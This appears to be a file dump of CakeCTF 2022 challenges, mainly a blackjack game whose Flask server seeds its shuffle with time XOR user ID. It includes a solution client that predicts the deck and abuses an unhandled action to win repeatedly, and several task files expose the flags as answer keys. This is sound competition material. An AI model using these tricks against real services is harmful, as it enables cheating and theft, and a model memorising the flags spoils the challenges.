--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/green.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/heart.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/heart.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/j.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/j.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/kitten.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/kitten.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/lambda.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/lambda.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/omega.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/omega.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/orange.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/orange.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/pi.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/pi.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/question.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/question.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/r1.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/r1.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/r2.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/r2.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/r3.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/r3.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/r4.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/r4.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/r5.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/r5.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/red.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/red.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/smiley.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/smiley.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/tangerine.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/tangerine.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/theta.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/theta.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/turquoise.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/turquoise.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/violet.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/violet.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/white.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/white.wav
--------------------------------------------------------------------------------
/misc/cake_memory/distfiles/resources/snd/voice/yellow.wav:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/cake_memory/distfiles/resources/snd/voice/yellow.wav
--------------------------------------------------------------------------------
/misc/cake_memory/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: "Cake Memory"
3 | description: >
4 | Welcome to Cake Memory.
5 | This advanced memory and cognitive recognition test is designed to stimulate several segments of the brain, allowing us to see how quickly and efficiently your brain works.
6 | flag: "CakeCTF{Do_you_have_Chromesthesia?}"
7 | author: ptr-yudai
8 | tags:
9 | - cheat
10 | is_survey: false
11 |
--------------------------------------------------------------------------------
/misc/matsushima3/distfiles/client/LICENSE.txt:
--------------------------------------------------------------------------------
1 | [ Pixel Art ]
2 | - Author: Nora Shishi
3 | - Revised by: rh0, devurandom, Kumpu
4 | - License: CC-BY 3.0 (https://creativecommons.org/licenses/by/3.0/)
5 |
--------------------------------------------------------------------------------
/misc/matsushima3/distfiles/client/game.py:
--------------------------------------------------------------------------------
1 | import enum
2 | import json
3 | import os
4 | import pyxel
5 | import random
6 | import requests
7 |
8 | HOST = os.getenv("HOST", "misc.2022.cakectf.com")
9 | PORT = os.getenv("PORT", 10011)
10 |
11 | class GameState(enum.Enum):
12 | NONE = enum.auto()
13 | INIT = enum.auto()
14 | GAME = enum.auto()
15 | WIN = enum.auto()
16 | LOSE = enum.auto()
17 | DRAW = enum.auto()
18 | FLAG = enum.auto()
19 |
20 | class GameAction(enum.Enum):
21 | HIT = enum.auto()
22 | STAND = enum.auto()
23 |
24 | class ServerConnection(object):
25 | def __init__(self, host, port):
26 | self.host = host
27 | self.port = port
28 | self.session = None
29 |
30 | def request(self, endpoint, data=None):
31 | try:
32 | r = requests.get(f"http://{self.host}:{self.port}/{endpoint}",
33 | params=data,
34 | cookies=self.session)
35 | except requests.exceptions.RequestException as e:
36 | print("[ERROR]", e)
37 | print(f"Server '{self.host}:{self.port}' is down...?")
38 | exit(1)
39 |
40 | if self.session is None:
41 | self.session = r.cookies
42 | return json.loads(r.text)
43 |
44 | class Game(object):
45 | def __init__(self):
46 | self.reset()
47 | pyxel.init(168, 128, title='ALLBET BLACKJACK', display_scale=3)
48 | pyxel.load("resource.pyxres")
49 | pyxel.playm(0, loop=True)
50 | pyxel.run(self.update, self.draw)
51 |
52 | def reset(self):
53 | self.state = GameState.INIT
54 | self.frame = 0
55 | self.player_score = 0
56 | self.dealer_score = 0
57 | self.player_hand = []
58 | self.dealer_hand = []
59 | self.num_dealer_cards = 0
60 | self.connection = ServerConnection(HOST, PORT)
61 | self.money = self.connection.request('user/new')['money']
62 | self.title_cards = random.sample(
63 | [(i // 13, i % 13) for i in range(4*13)], 5
64 | )
65 |
66 | def update(self):
67 | """Update game state and handle key events"""
68 | if self.state == GameState.INIT:
69 | if pyxel.btnp(pyxel.KEY_SPACE): # Game start
70 | pyxel.play(3, [1])
71 | self.frame = 0
72 | self.init_game()
73 | self.state = GameState.GAME
74 |
75 | elif self.state == GameState.GAME:
76 | if pyxel.btnp(pyxel.KEY_Z): # Player chose hit
77 | pyxel.play(3, [0])
78 | self.notify_action(GameAction.HIT)
79 |
80 | elif pyxel.btnp(pyxel.KEY_X): # Player chose stand
81 | pyxel.play(3, [0])
82 | self.notify_action(GameAction.STAND)
83 |
84 | elif self.state == GameState.DRAW or self.state == GameState.WIN:
85 | if pyxel.btnp(pyxel.KEY_Z):
86 | pyxel.play(3, [0])
87 | self.init_game()
88 | self.state = GameState.GAME
89 | self.frame = 0
90 |
91 | elif self.state == GameState.LOSE:
92 | if pyxel.btnp(pyxel.KEY_Z):
93 | pyxel.play(3, [0])
94 | self.reset()
95 | self.init_game()
96 | self.state = GameState.GAME
97 |
98 | self.frame += 1
99 |
100 | def draw(self):
101 | """Draw game screen"""
102 | pyxel.cls(0)
103 | pyxel.rect(0, 0, 256, 192, 11)
104 |
105 | if self.state == GameState.INIT:
106 | # Draw title screen
107 | pyxel.text(72, 16, "ALL-BET", 2)
108 | pyxel.text(68, 24, "B A K A K", 0)
109 | pyxel.text(68, 27, " L C J C ", 0)
110 | if (self.frame // 3) % 10 < 5:
111 | pyxel.text(48, 108, "PRESS SPACE TO START", 8)
112 |
113 | self.draw_cards(self.title_cards, 40, 48)
114 |
115 | else:
116 | # Draw status
117 | pyxel.text(8, 8, "DEALER", 0)
118 | pyxel.text(8, 64, "PLAYER", 0)
119 | pyxel.text(8, 72, f"BET: ${self.money}", 0)
120 | if self.player_score != -1:
121 | pyxel.text(8, 80, f"TOTAL: {self.player_score}", 0)
122 | else:
123 | pyxel.text(8, 80, "BURST!", 0)
124 |
125 | self.draw_cards(self.player_hand, 56, 60)
126 | if self.state == GameState.GAME:
127 | self.draw_cards(self.num_dealer_cards, 56, 4)
128 |
129 | if (self.frame // 3) % 10 < 8:
130 | pyxel.text(46, 116, "[Z] HIT / [X] STAND", 8)
131 |
132 | else:
133 | if self.dealer_score != -1:
134 | pyxel.text(8, 16, f"TOTAL: {self.dealer_score}", 0)
135 | else:
136 | pyxel.text(8, 16, "BURST!", 0)
137 | self.draw_cards(self.dealer_hand, 56, 4)
138 |
139 | if (self.frame // 3) % 10 < 8:
140 | if self.state == GameState.DRAW:
141 | pyxel.text(28, 116, "DRAW! PRESS [Z] TO CONTINUE", 8)
142 | elif self.state == GameState.LOSE:
143 | pyxel.text(24, 116, "YOU LOSE! PRESS [Z] TO RESTART", 8)
144 | elif self.state == GameState.WIN:
145 | pyxel.text(24, 116, "YOU WIN! PRESS [Z] TO CONTINUE", 8)
146 | elif self.state == GameState.FLAG:
147 | pyxel.text(28, 116, self.flag, 8)
148 |
149 | def draw_cards(self, cards, x_origin, y_origin):
150 | """Draw cards"""
151 | if isinstance(cards, int):
152 | for i in range(cards):
153 | pyxel.blt(x_origin+i*16, y_origin, 1, 0, 144, 32, 48, 5)
154 | else:
155 | for i, (t, c) in enumerate(cards):
156 | if c < 5:
157 | pyxel.blt(x_origin+i*16, y_origin, 0,
158 | 32*t, 48*c, 32, 48, 5)
159 | elif c < 10:
160 | pyxel.blt(x_origin+i*16, y_origin, 0,
161 | 32*(4+t), 48*(c-5), 32, 48, 5)
162 | else:
163 | pyxel.blt(x_origin+i*16, y_origin, 1,
164 | 32*t, 48*(c-10), 32, 48, 5)
165 |
166 | def notify_action(self, act):
167 | """Player chose hit or stand"""
168 | if act == GameAction.HIT:
169 | # Hit
170 | response = self.connection.request('game/act', {'action': 'hit'})
171 |
172 | elif act == GameAction.STAND:
173 | # Stand
174 | response = self.connection.request('game/act', {'action': 'stand'})
175 |
176 | self.player_score = response['player_score']
177 | self.dealer_score = response['dealer_score']
178 | self.player_hand = response['player_hand']
179 | self.dealer_hand = response['dealer_hand']
180 | self.num_dealer_cards = response['num_dealer_cards']
181 | self.money = response['money']
182 |
183 | # Update state
184 | if response['state'] == 'win':
185 | pyxel.play(3, [3])
186 | self.state = GameState.WIN
187 | elif response['state'] == 'lose':
188 | pyxel.play(3, [2])
189 | self.state = GameState.LOSE
190 | elif response['state'] == 'draw':
191 | pyxel.play(3, [3])
192 | self.state = GameState.DRAW
193 | elif response['state'] == 'flag':
194 | pyxel.play(3, [3])
195 | self.flag = response['flag']
196 | self.state = GameState.FLAG
197 |
198 | def init_game(self):
199 | """Start game"""
200 | response = self.connection.request('game/new')
201 | self.player_hand = response['player_hand']
202 | self.player_score = response['player_score']
203 | self.num_dealer_cards = response['num_dealer_cards']
204 |
205 | if __name__ == '__main__':
206 | Game()
207 |
--------------------------------------------------------------------------------
/misc/matsushima3/distfiles/client/requirements.txt:
--------------------------------------------------------------------------------
1 | pyxel==1.7.2
2 | requests
3 |
--------------------------------------------------------------------------------
/misc/matsushima3/distfiles/client/resource.pyxres:
--------------------------------------------------------------------------------
https://raw.githubusercontent.com/theoremoon/cakectf2022-public/70316d824372e084338d5d02774379f49846e523/misc/matsushima3/distfiles/client/resource.pyxres
--------------------------------------------------------------------------------
/misc/matsushima3/distfiles/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | challenge:
4 | build: ./server
5 | ports:
6 | - "10011:8080"
7 | links:
8 | - redis
9 | environment:
10 | - UWSGI_INI=/home/ctf/uwsgi.ini
11 | - LISTEN_PORT=8080
12 | restart: always
13 |
14 | redis:
15 | build: ./redis
16 | restart: always
17 |
--------------------------------------------------------------------------------
/misc/matsushima3/distfiles/redis/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM redis:6-alpine
2 | COPY ./redis.conf /redis.conf
3 | CMD ["redis-server", "/redis.conf"]
4 |
--------------------------------------------------------------------------------
/misc/matsushima3/distfiles/server/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM tiangolo/uwsgi-nginx-flask:python3.8-alpine
2 |
3 | RUN apk update
4 | RUN adduser -D ctf
5 | RUN pip install Flask Flask-Session redis
6 |
7 | WORKDIR /home/ctf
8 | ADD . .
9 | RUN chown -R root:ctf .
10 |
--------------------------------------------------------------------------------
/misc/matsushima3/distfiles/server/app.py:
--------------------------------------------------------------------------------
1 | import enum
2 | from flask import abort, Flask, jsonify, session, request
3 | from flask_session import Session
4 | import os
5 | import random
6 | import redis
7 | import time
8 |
9 | HOST = os.getenv("HOST", "redis")
10 | PORT = os.getenv("PORT", 6379)
11 |
12 | app = Flask(__name__)
13 | # Use redis as session store to prevent session reuse
14 | SESSION_TYPE = 'redis'
15 | SESSION_REDIS = redis.Redis(HOST, PORT, db=0)
16 | app.config.from_object(__name__)
17 | Session(app)
18 |
19 | class GameState(enum.Enum):
20 | IN_PROGRESS = enum.auto()
21 | PLAYER_WIN = enum.auto()
22 | PLAYER_LOSE = enum.auto()
23 | PLAYER_DRAW = enum.auto()
24 | PLAYER_CHEAT = enum.auto()
25 |
26 | def calculate_score(cards):
27 | """Calculate current total of cards"""
28 | num_ace = 0
29 | score = 0
30 | for _, c in cards:
31 | if c == 0: num_ace += 1
32 | elif c < 10: score += c + 1
33 | else: score += 10
34 |
35 | while num_ace > 0:
36 | if 21 - score >= 10 + num_ace: score += 11
37 | else: score += 1
38 | num_ace -= 1
39 |
40 | return -1 if score > 21 else score
41 |
42 |
43 | @app.before_request
44 | def before_request():
45 | if 'state' in session and session['state'] == GameState.PLAYER_CHEAT:
46 | abort(400, "Cheat detected")
47 |
48 |
49 | @app.route('/user/new')
50 | def user_new():
51 | """Create a new session"""
52 | session['money'] = 100
53 | session['state'] = GameState.PLAYER_DRAW
54 | session['user_id'] = random.randrange(0, 1000000000)
55 | return jsonify({'money': session['money'], 'user_id': session['user_id']})
56 |
57 | @app.route('/game/new')
58 | def game_new():
59 | """Create a new game"""
60 | if session['state'] == GameState.IN_PROGRESS:
61 | # Player tried to abort game
62 | session['state'] = GameState.PLAYER_CHEAT
63 | abort(400, "Cheat detected")
64 |
65 | # Shuffle cards
66 | deck = [(i // 13, i % 13) for i in range(4*13)]
67 | random.seed(int(time.time()) ^ session['user_id'])
68 | random.shuffle(deck)
69 | session['deck'] = deck
70 |
71 | # Create initial hand
72 | session['player_hand'] = []
73 | session['dealer_hand'] = []
74 | for i in range(2):
75 | session['player_hand'].append(session['deck'].pop())
76 | session['dealer_hand'].append(session['deck'].pop())
77 | session['player_score'] = calculate_score(session['player_hand'])
78 | session['dealer_score'] = calculate_score(session['dealer_hand'])
79 |
80 | # Return state
81 | session['state'] = GameState.IN_PROGRESS
82 | return jsonify({
83 | 'player_hand': session['player_hand'],
84 | 'player_score': session['player_score'],
85 | 'num_dealer_cards': len(session['dealer_hand'])
86 | })
87 |
88 | @app.route('/game/act')
89 | def game_act():
90 | """Player action"""
91 | if session['state'] != GameState.IN_PROGRESS:
92 | # Player tried to use expired game
93 | session['state'] = GameState.PLAYER_CHEAT
94 | abort(400, "Cheat detected")
95 |
96 | # Draw cards
97 | player_action = request.args.get('action', 'hit')
98 | dealer_action = 'stand'
99 | if player_action == 'hit':
100 | # Player chose hit (Game continues)
101 | session['player_hand'].append(session['deck'].pop())
102 | session['player_score'] = calculate_score(session['player_hand'])
103 |
104 | # Dealer action
105 | if session['dealer_score'] <= 16:
106 | session['dealer_hand'].append(session['deck'].pop())
107 | session['dealer_score'] = calculate_score(session['dealer_hand'])
108 | dealer_action = 'hit'
109 |
110 | else:
111 | # Player chose stand (Game ends)
112 | next_card = session['deck'].pop()
113 | while session['dealer_score'] <= 16:
114 | session['dealer_hand'].append(next_card)
115 | session['dealer_score'] = calculate_score(session['dealer_hand'])
116 | if session['dealer_score'] == -1:
117 | # Dealer bursts
118 | break
119 | else:
120 | next_card = session['deck'].pop()
121 |
122 | # Update state
123 | dealer_hand = session['dealer_hand']
124 | dealer_score = session['dealer_score']
125 |
126 | if session['player_score'] == session['dealer_score'] == -1 or \
127 | (player_action == 'stand' and session['player_score'] == session['dealer_score']):
128 | # Draw
129 | session['state'] = GameState.PLAYER_DRAW
130 | state = 'draw'
131 |
132 | elif session['player_score'] == -1 or \
133 | (player_action == 'stand' and session['player_score'] < session['dealer_score']):
134 | # Player loses
135 | session['state'] = GameState.PLAYER_LOSE
136 | session['money'] = 0
137 | state = 'lose'
138 |
139 | elif session['dealer_score'] == -1 or \
140 | (player_action == 'stand' and session['player_score'] > session['dealer_score']):
141 | # Player wins
142 | session['state'] = GameState.PLAYER_WIN
143 | session['money'] *= 2
144 | state = 'win'
145 |
146 | else:
147 | # Game in progress
148 | dealer_hand = None
149 | dealer_score = 0
150 | state = 'game'
151 |
152 | # Special bonus
153 | if session['money'] > 999999999999999:
154 | flag = os.getenv('FLAG', "CakeCTF{**** REDUCTED ****}")
155 | state = 'flag'
156 | else:
157 | flag = ''
158 |
159 | return jsonify({
160 | 'state': state,
161 | 'player_hand': session['player_hand'],
162 | 'player_score': session['player_score'],
163 | 'dealer_hand': dealer_hand,
164 | 'dealer_score': dealer_score,
165 | 'num_dealer_cards': len(session['dealer_hand']),
166 | 'dealer_action': dealer_action,
167 | 'money': session['money'],
168 | 'flag': flag
169 | })
170 |
171 | if __name__ == '__main__':
172 | app.run()
173 |
--------------------------------------------------------------------------------
/misc/matsushima3/distfiles/server/uwsgi.ini:
--------------------------------------------------------------------------------
1 | [uwsgi]
2 | module = app
3 | callable = app
4 | uid = ctf
5 | gid = ctf
6 |
--------------------------------------------------------------------------------
/misc/matsushima3/docker-compose.yml:
--------------------------------------------------------------------------------
1 | version: '3'
2 | services:
3 | challenge:
4 | build: ./distfiles/server
5 | ports:
6 | - "10011:8080"
7 | links:
8 | - redis
9 | environment:
10 | - UWSGI_INI=/home/ctf/uwsgi.ini
11 | - LISTEN_PORT=8080
12 | - FLAG="CakeCTF{INFAMOUS_LOGIC_BUG}"
13 | restart: always
14 |
15 | redis:
16 | build: ./distfiles/redis
17 | restart: always
18 |
--------------------------------------------------------------------------------
/misc/matsushima3/solution/game.mod.py:
--------------------------------------------------------------------------------
1 | import enum
2 | import json
3 | import os
4 | import pyxel
5 | import random
6 | import requests
7 | import time
8 |
9 | HOST = os.getenv("HOST", "misc.2022.cakectf.com")
10 | PORT = os.getenv("PORT", 10011)
11 |
12 | class GameState(enum.Enum):
13 | NONE = enum.auto()
14 | INIT = enum.auto()
15 | GAME = enum.auto()
16 | WIN = enum.auto()
17 | LOSE = enum.auto()
18 | DRAW = enum.auto()
19 | FLAG = enum.auto()
20 |
21 | class GameAction(enum.Enum):
22 | HIT = enum.auto()
23 | STAND = enum.auto()
24 | SKIP = enum.auto()
25 |
26 | class ServerConnection(object):
27 | def __init__(self, host, port):
28 | self.host = host
29 | self.port = port
30 | self.session = None
31 |
32 | def request(self, endpoint, data=None):
33 | try:
34 | r = requests.get(f"http://{self.host}:{self.port}/{endpoint}",
35 | params=data,
36 | cookies=self.session)
37 | except requests.exceptions.RequestException as e:
38 | print("[ERROR]", e)
39 | print(f"Server '{self.host}:{self.port}' is down...?")
40 | exit(1)
41 |
42 | if self.session is None:
43 | self.session = r.cookies
44 | return json.loads(r.text)
45 |
46 | class Game(object):
47 | def __init__(self):
48 | self.reset()
49 | pyxel.init(168, 128, title='ALLBET BLACKJACK', display_scale=3)
50 | pyxel.load("../distfiles/client/resource.pyxres")
51 | #pyxel.playm(0, loop=True)
52 | pyxel.run(self.update, self.draw)
53 |
54 | def reset(self):
55 | self.state = GameState.INIT
56 | self.frame = 0
57 | self.player_score = 0
58 | self.dealer_score = 0
59 | self.player_hand = []
60 | self.dealer_hand = []
61 | self.num_dealer_cards = 0
62 | self.connection = ServerConnection(HOST, PORT)
63 | r = self.connection.request('user/new')
64 | self.user_id = r['user_id']
65 | self.money = r['money']
66 | self.title_cards = random.sample(
67 | [(i // 13, i % 13) for i in range(4*13)], 5
68 | )
69 |
70 | def update(self):
71 | """Update game state and handle key events"""
72 | if self.state == GameState.INIT:
73 | if pyxel.btnp(pyxel.KEY_SPACE): # Game start
74 | pyxel.play(3, [1])
75 | self.frame = 0
76 | self.init_game()
77 | self.state = GameState.GAME
78 |
79 | elif self.state == GameState.GAME:
80 | if pyxel.btnp(pyxel.KEY_Z): # Player chose hit
81 | pyxel.play(3, [0])
82 | self.notify_action(GameAction.HIT)
83 |
84 | elif pyxel.btnp(pyxel.KEY_X): # Player chose stand
85 | pyxel.play(3, [0])
86 | self.notify_action(GameAction.STAND)
87 |
88 | elif pyxel.btnp(pyxel.KEY_C): # Player chose skip
89 | pyxel.play(3, [0])
90 | self.notify_action(GameAction.SKIP)
91 |
92 | elif self.state == GameState.DRAW or self.state == GameState.WIN:
93 | if pyxel.btnp(pyxel.KEY_Z):
94 | pyxel.play(3, [0])
95 | self.init_game()
96 | self.state = GameState.GAME
97 | self.frame = 0
98 |
99 | elif self.state == GameState.LOSE:
100 | if pyxel.btnp(pyxel.KEY_Z):
101 | pyxel.play(3, [0])
102 | self.reset()
103 | self.init_game()
104 | self.state = GameState.GAME
105 |
106 | self.frame += 1
107 |
108 | def draw(self):
109 | """Draw game screen"""
110 | pyxel.cls(0)
111 | pyxel.rect(0, 0, 256, 192, 11)
112 |
113 | if self.state == GameState.INIT:
114 | # Draw title screen
115 | pyxel.text(72, 16, "ALL-BET", 2)
116 | pyxel.text(68, 24, "B A K A K", 0)
117 | pyxel.text(68, 27, " L C J C ", 0)
118 | if (self.frame // 3) % 10 < 5:
119 | pyxel.text(48, 108, "PRESS SPACE TO START", 8)
120 |
121 | self.draw_cards(self.title_cards, 40, 48)
122 |
123 | else:
124 | # Draw status
125 | pyxel.text(8, 8, "DEALER", 0)
126 | pyxel.text(8, 92, "PLAYER", 0)
127 | pyxel.text(8, 100, f"BET: ${self.money}", 0)
128 | if self.player_score != -1:
129 | pyxel.text(8, 108, f"TOTAL: {self.player_score}", 0)
130 | else:
131 | pyxel.text(8, 108, "BURST!", 0)
132 |
133 | self.draw_cards(self.deck[-2:], 4, 28)
134 | pyxel.text(8, 80, "NEXT CARDS", 8)
135 |
136 | self.draw_cards(self.player_hand, 56, 60)
137 | self.draw_cards(self.dealer_hand, 56, 4)
138 | if self.dealer_score != -1:
139 | pyxel.text(8, 16, f"TOTAL: {self.dealer_score}", 0)
140 | else:
141 | pyxel.text(8, 16, "BURST!", 0)
142 |
143 | if self.state == GameState.GAME:
144 | if (self.frame // 3) % 10 < 8:
145 | pyxel.text(24, 116, "[Z] HIT / [X] STAND / [C] SKIP", 8)
146 |
147 | else:
148 | if (self.frame // 3) % 10 < 8:
149 | if self.state == GameState.DRAW:
150 | pyxel.text(28, 116, "DRAW! PRESS [Z] TO CONTINUE", 8)
151 | elif self.state == GameState.LOSE:
152 | pyxel.text(24, 116, "YOU LOSE! PRESS [Z] TO RESTART", 8)
153 | elif self.state == GameState.WIN:
154 | pyxel.text(24, 116, "YOU WIN! PRESS [Z] TO CONTINUE", 8)
155 | elif self.state == GameState.FLAG:
156 | pyxel.text(28, 116, self.flag, 8)
157 |
158 | def draw_cards(self, cards, x_origin, y_origin):
159 | """Draw cards"""
160 | if isinstance(cards, int):
161 | for i in range(cards):
162 | pyxel.blt(x_origin+i*16, y_origin, 1, 0, 144, 32, 48, 5)
163 | else:
164 | for i, (t, c) in enumerate(cards):
165 | if c < 5:
166 | pyxel.blt(x_origin+i*16, y_origin, 0,
167 | 32*t, 48*c, 32, 48, 5)
168 | elif c < 10:
169 | pyxel.blt(x_origin+i*16, y_origin, 0,
170 | 32*(4+t), 48*(c-5), 32, 48, 5)
171 | else:
172 | pyxel.blt(x_origin+i*16, y_origin, 1,
173 | 32*t, 48*(c-10), 32, 48, 5)
174 |
175 | def notify_action(self, act):
176 | """Player chose hit or stand"""
177 | if act == GameAction.HIT:
178 | # Hit
179 | response = self.connection.request('game/act', {'action': 'hit'})
180 | self.deck.pop()
181 | if response['num_dealer_cards'] != len(self.dealer_hand):
182 | self.dealer_hand.append(self.deck.pop())
183 |
184 | elif act == GameAction.STAND:
185 | # Stand
186 | response = self.connection.request('game/act', {'action': 'stand'})
187 |
188 | elif act == GameAction.SKIP:
189 | # Skip
190 | response = self.connection.request('game/act', {'action': 'xxx'})
191 | next_card = self.deck.pop()
192 | while response['num_dealer_cards'] != len(self.dealer_hand):
193 | self.dealer_hand.append(next_card)
194 | next_card = self.deck.pop()
195 |
196 | self.player_score = response['player_score']
197 | self.player_hand = response['player_hand']
198 | self.num_dealer_cards = response['num_dealer_cards']
199 | self.dealer_score = calculate_score(self.dealer_hand)
200 | self.money = response['money']
201 |
202 | # Update state
203 | if response['state'] == 'win':
204 | pyxel.play(3, [3])
205 | self.state = GameState.WIN
206 | elif response['state'] == 'lose':
207 | pyxel.play(3, [2])
208 | self.state = GameState.LOSE
209 | elif response['state'] == 'draw':
210 | pyxel.play(3, [3])
211 | self.state = GameState.DRAW
212 | elif response['state'] == 'flag':
213 | pyxel.play(3, [3])
214 | self.flag = response['flag']
215 | self.state = GameState.FLAG
216 |
217 | def init_game(self):
218 | """Start game"""
219 | response = self.connection.request('game/new')
220 | for seed in range(int(time.time()), int(time.time()) - 5, -1):
221 | self.deck = [(i // 13, i % 13) for i in range(4*13)]
222 | random.seed(seed ^ self.user_id)
223 | random.shuffle(self.deck)
224 | if self.deck[-1] == tuple(response['player_hand'][0]) and \
225 | self.deck[-3] == tuple(response['player_hand'][1]):
226 | print("Found seed:", seed)
227 | break
228 | else:
229 | print("Bad luck!")
230 | exit(1)
231 |
232 | self.player_hand = []
233 | self.dealer_hand = []
234 | for i in range(2):
235 | self.player_hand.append(self.deck.pop())
236 | self.dealer_hand.append(self.deck.pop())
237 | self.player_score = calculate_score(self.player_hand)
238 | self.dealer_score = calculate_score(self.dealer_hand)
239 |
240 | def calculate_score(cards):
241 | """Calculate current total of cards"""
242 | num_ace = 0
243 | score = 0
244 | for _, c in cards:
245 | if c == 0: num_ace += 1
246 | elif c < 10: score += c + 1
247 | else: score += 10
248 |
249 | while num_ace > 0:
250 | if 21 - score >= 10 + num_ace: score += 11
251 | else: score += 1
252 | num_ace -= 1
253 |
254 | return -1 if score > 21 else score
255 |
256 | if __name__ == '__main__':
257 | Game()
258 |
--------------------------------------------------------------------------------
/misc/matsushima3/task.yml:
--------------------------------------------------------------------------------
1 | ---
2 | name: "matsushima3"
3 | description: >
4 | Are you a gambler?
5 | flag: "CakeCTF{INFAMOUS_LOGIC_BUG}"
6 | author: ptr-yudai
7 | tags:
8 | - cheat
9 | is_survey: false
10 |
--------------------------------------------------------------------------------
/misc/readme2022/Dockerfile:
--------------------------------------------------------------------------------
1 | FROM python:3.10-slim-buster
2 |
3 | ENV DEBIAN_FRONTEND noninteractive
4 |
5 | RUN apt-get update && apt-get install -yqq socat
6 | RUN groupadd -r ctf && useradd -r -g ctf ctf
7 |
8 | RUN echo "CakeCTF{~USER_r3f3rs_2_h0m3_d1r3ct0ry_0f_USER}" > /flag.txt
9 | RUN chmod 444 /flag.txt
10 |
11 | USER ctf
12 | WORKDIR /app
13 | ADD distfiles/server.py .
14 |
